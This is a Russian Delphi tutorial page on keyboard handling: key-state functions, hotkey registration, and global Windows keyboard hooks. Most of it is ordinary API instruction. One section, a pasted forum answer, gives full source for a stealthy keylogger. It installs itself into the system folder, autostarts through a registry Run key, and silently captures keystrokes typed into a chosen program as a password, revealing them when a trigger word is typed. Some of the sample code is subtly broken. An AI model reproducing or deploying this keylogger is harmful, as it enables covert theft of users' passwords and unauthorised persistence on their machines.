Программирование на Delphi - обмен опытом / Работа с клавиатурой

© Зайцев Олег 1998-2004
Лучшая портативная техника. Плееры Камеры Телефоны Компьютеры
Покупателям, пришедшим на www.porta.ru по этой ссылке - дополнительная скидка 1%
Железо | Система | WEB | Компоненты | Графика | Ссылки | Мультимедиа | Сети | Прочее | Реестр | Литература

Статистика

Работа с клавиатурой

Рекомендую:
Главная страница \ Железо \ Работа с клавиатурой

  • Работа с клавиатурой

    Работа с клавиатурой

    Как узнать текущее состояние клавиши (нажата/отпущена) * * Задать вопрос Наверх
    Узнать текущее состояние любой клавиши очень просто при помощи API - вызов функции GetKeyState. Формат вызова:
    function GetKeyState(nVirtKey: Integer): SHORT;
    nVirtKey - виртуальный код интересующей нас клавиши.
    Возврат - если установлен старший бит, то клавиша нажата. Младший бит устанавливается при отпускании клавиши. Для триггерных клавиш младний бит указывает, включена ли данная триггерная клавиша (т.е. горит ли ее лампочка)

    Пример

    procedure TForm1.Timer1Timer(Sender: TObject);
    begin
     Caption := Inttostr(GetKeyState(VK_NUMLOCK));
    end;
    
    Особенностью GetKeyState является то, что состояние клавиши, возвращаемое этой функцией, изменяется при чтении потоком клавиатурных сообщений из его очереди сообщений. Функция GetAsyncKeyState не зависит от потока сообщений, что в ряде случаев весьма удобно.

    Горячие клавиши - регистрация и обработка * * Задать вопрос Наверх
    Горячие клавиши - сочетания клавиш, которые регистрируются в системе и при их нажатии система посылает сообщение WM_HOTKEY тому окну, Handle которого было заявлено при регистрации горячей клавиши. При этом не важно, имеет ли окно- получатель фокус ввода и видимо ли оно на экране. Это особенно удобно при написании программ,которые активизируются при нажатии определенных сочетаний клавиш (в неактивном состоянии такие приложения, как привило, не содержат видимых окон).
    Регистрация производится при помощи вызова API RegisterHotKey
    function RegisterHotKey(hWnd: HWND; id: Integer; fsModifiers, vk: UINT): BOOL;
    hWnd - Handle окна, которое будет получать сообщения при нажатии горячей клавиши
    id - идентификатор (просто число, передаваемое в сообщении WM_HOTKEY. id позволяет приложению работать с несколькими горячими клавишами, различая их по id). Нельзя определить две горячие клавиши с одинаковым id
    fsModifiers - модификаторы. Определяют, какие клавиши должны быть нажаты совместно с указанной vk. Допустимы значения: MOD_ALT - ALT, MOD_CONTROL - CTRL, MOD_SHIFT - SHIFT
    vk - виртуальный код клавиши
    Если горячую клавишу удается зарегистрировать, то функция возвращает TRUE.

    При завершении приложения необходимо отменить регистрацию горячей клавиши при помощи вызова UnregisterHotKey. При вызве ей передается Handle окна и id горячей клавиши.
    Пример:

      TForm1 = class(TForm)
        procedure FormCreate(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
      private
       // Обработчик сообщения WM_HOTKEY
       procedure WMHotKey(var Mess:TWMHotKey);message WM_HOTKEY;
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.DFM}
    
    procedure TForm1.WMHotKey(var Mess: TWMHotKey);
    begin
     MessageBeep(0);
     ShowMessage('Нажата горячая клавиша CTRL+F12');
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    begin
     RegisterHotKey(Handle, 1 ,MOD_CONTROL, vk_F12);
    end;
    
    procedure TForm1.FormDestroy(Sender: TObject);
    begin
     UnregisterHotKey(Handle, 1);
    end;
    

    Перехват нажатий клавиши внутри приложения. * * Задать вопрос Наверх
    Задача решается очень просто. Можно у формы установить свойство KeyPreview в True и обрабатывать событие OnKeyPress. Второй способ - перехватывать событие OnMessage для объекта Application. Однако во втором случае следует применять осторожность, т.к. обработчик OnMessage получает все сообщения, адресованные приложению

    Перехват нажатия клавиши в Windows (hook) * * Задать вопрос Наверх
    Существуют приложения, которым необходимо перехватывать все нажатия клавиш в Windows, даже если в данный момент активно другое приложение. Это может быть, например, программа, переключающая раскладку клавиатуры, резидентный словарь или программа, выполняющая иные действия по нажатию "горячей" комбинации клавиш.
    Перехват всех событий в Windows (в том числе и событий от клавиатуры) выполняется с помощью вызова функции SetWindowsHook(). Данная функция регистрирует в системе Windows ловушку (hook) для определенного типа событий/сообщений. Ловушка - это пользовательская процедура, которая будет обрабатывать указанное событие. Основное здесь то, что эта процедура должна всегда присутствовать в памяти Windows. Поэтому ловушку помещают в DLL и загружают эту DLL из программы. Пока хоть одна программа использует DLL, та не может быть выгружена из памяти. Приведем пример такой DLL и программы, ее использующей. В примере ловушка перехватывает нажатие клавиш на клавиатуре и записывает их в текстовый файл

    // текст библиотеки, т.е. полное содержимое файла KeyHook.dpr 
    library KeyHook;
    
    uses
      shellapi,
      windows;
    
    var
     g_hhk: HHOOK;
    
    function KeyboardProc(nCode: Integer; wParam: wParam; lParam: lParam ): LParam; stdcall;
    var
     f:textfile;
    begin
     MessageBeep(0);
     assignfile(f, 'c:\hook.txt');
     try
      append(f);
     except
      rewrite(f);
     end;
     writeln(f, nCode,',',wParam,',',lParam);
     close(f);
    end;
    
    exports
     KeyboardProc;
    begin
    end.
    
    // Пример установки WindowsHook
    procedure TForm1.Button1Click(Sender: TObject);
    var
      hinstDLL: HINST;
      hkprcKeyboard: TFNHookProc;
      msg: TMsg;
    begin
      hinstDLL := LoadLibrary('KeyHook.dll');
      hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
      SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
    end;
    end.
    
    Данный пример простейший и не учитывает того, что при завершении работы ловушку необходимо снимать. При работе он пикает при каждом нажатии клавиши и сбрасывает в текстовый файл параметры вызова. Пример рабочий, я использовал его для определения кодов клавиш при написании драйвера для мультимедийной клавиатуры Genius (родной кстати тоже писан на Delphi, но кривой до безобразия - то сам повиснет, но компьютер повесит).

    Как отловить нажатия клавиш для всех процессов в системе? * * Задать вопрос Наверх

    Вот, может поможет:

    >1. Setup.bat
    
    === Cut ===
    @echo off
    copy HookAgnt.dll %windir%\system
    copy kbdhook.exe %windir%\system
    start HookAgnt.reg
    === Cut ===
    
    >2.HookAgnt.reg
    === Cut ===
    REGEDIT4
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "kbdhook"="kbdhook.exe"
    === Cut ===
    
    >3.KbdHook.dpr
    === Cut ===
    program cwbhook;
    uses Windows, Dialogs;
    var
      hinstDLL: HINST;
      hkprcKeyboard: TFNHookProc;
      msg: TMsg;
    begin
      hinstDLL := LoadLibrary('HookAgnt.dll');
      hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
      SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
      repeat until not GetMessage(msg, 0, 0, 0);
    end.
    === Cut ===
    
    >4.HookAgnt.dpr
    === Cut ===
    library HookAgent;
    uses Windows, KeyboardHook in 'KeyboardHook.pas';
    exports KeyboardProc;
    var
      hFileMappingObject: THandle;
      fInit: Boolean;
    
    procedure DLLMain(Reason: Integer);
    begin
      if Reason = DLL_PROCESS_DETACH then begin
        UnmapViewOfFile(lpvMem);
        CloseHandle(hFileMappingObject);
      end;
    end;
    
    begin
      DLLProc := @DLLMain;
      hFileMappingObject := CreateFileMapping(
        THandle($FFFFFFFF), // use paging file
        nil,                // no security attributes
        PAGE_READWRITE,     // read/write access
        0,                  // size: high 32 bits
        4096,               // size: low 32 bits
        'HookAgentShareMem' // name of map object
      );
      if hFileMappingObject = INVALID_HANDLE_VALUE then begin
        ExitCode := 1;
        Exit;
      end;
      fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
      lpvMem := MapViewOfFile(
        hFileMappingObject, // object to map view of
        FILE_MAP_WRITE,     // read/write access
        0,                  // high offset: map from
        0,                  // low offset:  beginning
        0);                 // default: map entire file
      if lpvMem = nil then begin
        CloseHandle(hFileMappingObject);
        ExitCode := 1;
        Exit;
      end;
      if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);
    end.
    === Cut ===
    
    >5.KeyboardHook.pas
    === Cut ===
    unit KeyboardHook;
    interface
    uses Windows;
    const PASSWORDSIZE = 16;
    var
      g_hhk: HHOOK;
      g_szKeyword: array[0..PASSWORDSIZE-1] of char;
      lpvMem: Pointer;
    
    function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
    implementation
    uses SysUtils, Dialogs;
    function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;
    var
      szModuleFileName: array[0..MAX_PATH-1] of Char;
      szKeyName: array[0..16] of Char;
      lpszPassword: PChar;
    begin
      lpszPassword := PChar(lpvMem);
      if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin
        GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
        if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
          lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
        lstrcat(g_szKeyword, szKeyName);
        GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
    >    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and
           (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
          lstrcat(lpszPassword, szKeyName);
        if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
        begin
          ShowMessage(lpszPassword);
          g_szKeyword[0] := #0;
        end;
        Result := 0;
      end
      else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
    end;
    end.
    === Cut ===
    

    Информация о состоянии клавиатуры * * Задать вопрос Наверх
    О состоянии клавиатуры дают информацию следующие функции:
    GetKeyState, GetAsyncKeyState, GetKeyboardState.
    Чтобы упростить себе жизнь и не возиться с этими функциями снова и снова я написал маленькие функции:

    function AltKeyDown : boolean;
    begin
     result:=(Word(GetKeyState(VK_MENU)) and $8000)<>0;
    end;
    
    function CtrlKeyDown : boolean;
    begin
     result:=(Word(GetKeyState(VK_CONTROL)) and $8000)<>0;
    end;
    
    function ShiftKeyDown : boolean;
    begin
     result:=(Word(GetKeyState(VK_SHIFT)) and $8000)<>0;
    end;
    
    А заодно и для клавиш переключателей:
    
    function CapsLock : boolean;
    begin
     result:=(GetKeyState(VK_CAPITAL) and 1)<>0;
    end;
    
    function InsertOn : boolean;
    begin
     result:=(GetKeyState(VK_INSERT) and 1)<>0;
    end;
    
    function NumLock : boolean;
    begin
     result:=(GetKeyState(VK_NUMLOCK) and 1)<>0;
    end;
    
    function ScrollLock : boolean;
    begin
     result:=(GetKeyState(VK_SCROLL) and 1)<>0;
    end;
    


    © Зайцев Олег, "Программирование на Delphi - обмен опытом" 1999-2004. При использовании любых материалов данного сайта необходимо указывать источник информации. Дата обновления: 22.11.2004. Сайт размещен на хостинге AGAVA - Хостинг от AGAVA.ru